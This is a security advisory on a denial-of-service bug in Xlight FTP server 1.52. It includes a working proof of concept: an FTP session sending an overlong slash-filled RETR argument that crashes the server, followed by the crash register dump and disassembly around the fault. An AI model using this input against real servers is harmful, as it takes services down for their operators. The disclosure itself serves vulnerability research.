Application: Xlight ftp server
http://www.xlightftpd.com/
Version: 1.52
Bug: Denial Of Service
Author: intuit
e-mail: intuit@linuxmail.org
web: http://rootshells.tk/
***********************************************************************
1. Description
2. The bug
3. The code
4. The fix
***********************************************************************
^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^
Vendor's Description:
"Xlight ftp server is a powerful ftp server with very small program size.
Using its own unique algorithm, it could handle more users than other windows
ftp servers. Besides its high performance, xlight ftp server also has a lot
of unique features."
***********************************************************************
^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^
RETR parameter (>260 symbols) crashed ftp server:
-----------------------------------------------------------------------
ftp> open
To 192.168.144.56
Connected to 192.168.144.56.
220 Xlight Server 1.52 ready...
User (192.168.144.56:(none)): test
331 Password required for test
Password:
230 Login OK.
ftp> literal pasv
227 Entering passive mode (192,168,144,56,5,8) .
ftp> literal retr /////////////////////////////////////////
///////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////
//////////////////////////////////////////qwer
Connection closed by remote host.
-----------------------------------------------------------------------
Ftp server will crashed with error in xlight.exe.
***********************************************************************
^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^
The mistake occurs here:
"xlight.exe has encountered a problem and needs to close.
We are sorry for the inconvenience."
-----------------------------------------------------------------------
AppName: xlight.exe AppVer: 0.0.0.0 ModName: xlight.exe
ModVer: 0.0.0.0 Offset: 00016549
-----------------------------------------------------------------------
-----------------------------------------------------------------------
Registers:
EAX=2F2F2F2F EBX=00000000 ECX=00E3F420 EDX=00000000
ESI=000001FA EDI=00000169 EIP=00416549 ESP=00E3EEC4
EBP=00E3F000 EFL=00000212
CS=001B DS=0023 ES=0023 SS=0023
FS=0038 GS=0000 OV=0 UP=0 EI=1 PL=0 ZR=0 AC=1 PE=0 CY=0
2F2F2F43 = ????????
Code:
004164C8 push ebp
004164C9 mov ebp,esp
004164CB sub esp,22Ch
004164D1 mov eax,dword ptr [ebp+8]
004164D4 shl eax,4
004164D7 mov ecx,dword ptr ds:[48CACCh]
004164DD lea edx,[ecx+eax+3A8h]
004164E4 mov dword ptr [ebp-8],edx
004164E7 mov eax,dword ptr [ebp-8]
004164EA mov ecx,dword ptr [eax+8]
004164ED mov dword ptr [ebp-0Ch],ecx
004164F0 mov edx,dword ptr [ebp+8]
004164F3 push edx
004164F4 call 004149B6
004164F9 add esp,4
004164FC mov dword ptr [ebp-14h],eax
004164FF cmp dword ptr [ebp-14h],0
00416503 jne 0041650A
00416505 jmp 004166E8
0041650A mov eax,dword ptr [ebp+10h]
0041650D push eax
0041650E lea ecx,[ebp-120h]
00416514 push ecx
00416515 call 0045D7E0
0041651A add esp,8
0041651D mov edx,dword ptr [ebp-14h]
00416520 add edx,1798h
00416526 mov dword ptr [ebp-18h],edx
00416529 mov eax,dword ptr [ebp+14h]
0041652C add eax,18h
0041652F push eax
00416530 mov ecx,dword ptr [ebp+14h]
00416533 add ecx,14h
00416536 push ecx
00416537 lea edx,[ebp-120h]
0041653D push edx
0041653E call 00404661
00416543 add esp,0Ch
00416546 mov eax,dword ptr [ebp+14h]
00416549 mov eax,dword ptr [eax+14h] <<< ftp server crashing here
0041654C xor edx,edx
0041654E mov ecx,64h
00416553 div eax,ecx
00416555 mov dword ptr [ebp-22Ch],edx
0041655B mov dword ptr [ebp-1Ch],0
00416562 jmp 0041656D
00416564 mov edx,dword ptr [ebp-1Ch]
00416567 add edx,1
0041656A mov dword ptr [ebp-1Ch],edx
0041656D cmp dword ptr [ebp-1Ch],2
00416571 jge 004166E8
-----------------------------------------------------------------------
/*Tested on: Win XP Build 2600, Service Pack: None
Win XP Build 2600, Service Pack: SP1 */
***********************************************************************
^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^
Not exist.
***********************************************************************
--
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